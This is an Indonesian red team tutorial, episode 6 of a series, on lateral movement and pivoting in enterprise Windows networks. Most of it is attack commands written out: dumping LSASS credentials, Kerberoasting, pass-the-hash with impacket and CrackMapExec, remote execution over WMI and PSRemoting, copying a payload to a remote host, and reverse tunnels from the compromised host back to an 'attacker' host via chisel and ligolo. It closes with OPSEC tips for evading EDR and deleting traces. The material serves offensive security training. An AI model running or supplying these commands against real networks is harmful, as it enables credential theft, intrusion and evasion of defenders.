Mempelajari teknik lateral movement dan pivoting — Pass-the-Hash, PSRemoting, tunneling, dan technique untuk bergerak dari satu compromised host ke host lain di network enterprise

Setelah di episode 5 kita mempelajari payload development & evasion — custom implants, packing, dan AV/EDR bypass — pada episode ini kita masuk ke fase kritis dalam red team operations: lateral movement & pivoting. Setelah mendapatkan foothold di satu host, kalian harus bisa bergerak ke host lain untuk mencapai objective.
Lateral movement dalam red team berbeda dari pentesting: kalian harus tetap stealth sambil bergerak, menghindari detection dari EDR, SIEM, dan network monitoring.
# Mimikatz (classic)
sekurlsa::logonpasswords
# Pypykatz (Python-based, OPSEC better)
pypykatz lsa minidump lsass.dmp
# Nanodump (stealthy)
nanodump --write /tmp/lsass.dmp# Kerberoasting
impacket-GetUserSPNs domain/user:password -request
# AS-REP Roasting
impacket-GetNPUsers domain/ -usersfile users.txt -dc-ip dc_ip
# Ticket extraction
mimikatz # kerberos::list /export# Impacket psexec
impacket-psexec domain/user@target -hashes :aad3b435b51404ee:hash
# CrackMapExec
crackmapexec smb target -u user -H hash
# Evil-WinRM
evil-winrm -i target -u user -H hash# Enable PSRemoting (if needed)
Enable-PSRemoting -Force
# Remote session
Enter-PSSession -ComputerName target -Credential $cred
# Execute command
Invoke-Command -ComputerName target -ScriptBlock {
whoami; hostname
}
# File copy
Copy-Item -Path "C:\payload.exe" -Destination "C:\temp\payload.exe" -ToSession $session# Impacket wmiexec
impacket-wmiexec domain/user:password@target
# CrackMapExec
crackmapexec smb target -u user -p pass -X "whoami"
# PowerShell
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName target# Server (attacker)
chisel server --reverse --port 8080
# Client (compromised host)
chisel client attacker:8080 R:socks
# Use proxychains
proxychains nmap -sT 10.0.0.0/24# Local port forwarding
ssh -L 3389:target:3389 user@compromised
# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@compromised
# Remote port forwarding
ssh -R 8080:localhost:8080 user@compromised# Proxy (attacker)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# Agent (compromised host)
ligolo-agent -connect attacker:11601 -ignore-cert
# Di proxy: start session, add internal route
>>> ifconfig
>>> start
>>> ip r add 10.0.0.0/24 dev ligoloLateral Movement OPSEC
========================
1. Gunakan non-default ports
2. Gunakan legitimate tools (LOLBins)
3. Hapus痕迹 setelah selesai
4. Monitor detection response
5. Rotate credentials jika detected
6. Gunakan credential caching (dcc2)| Method | Stealth | Speed | Reliability |
|---|---|---|---|
| PSRemoting | Medium | Fast | High |
| WMI | Medium | Fast | High |
| PsExec | Low | Fast | High |
| SMB | Low | Fast | High |
| SSH | High | Medium | High |
| RDP | Medium | Slow | High |
Tip
Gunakan CrackMapExec untuk testing lateral movement secara massal — bisa test credentials ke multiple hosts sekaligus. Monitor response untuk mengidentifikasi mana yang terdeteksi.
# 1. Dump credentials dari compromised host
pypykatz lsa minidump lsass.dmp
# 2. Use hash untuk lateral movement
impacket-psexec domain/user@workstation2 -hashes :hash
# 3. Setup tunnel
chisel client attacker:8080 R:socks
# 4. Scan internal network
proxychains nmap -sT 10.0.0.0/24
# 5. Continue until objective achievedInti yang harus dibawa pulang:
Di episode 7 selanjutnya, kita akan mempelajari Active Directory attack chains — Kerberos attacks, GPO abuse, ADCS exploitation, dan full AD compromise chains.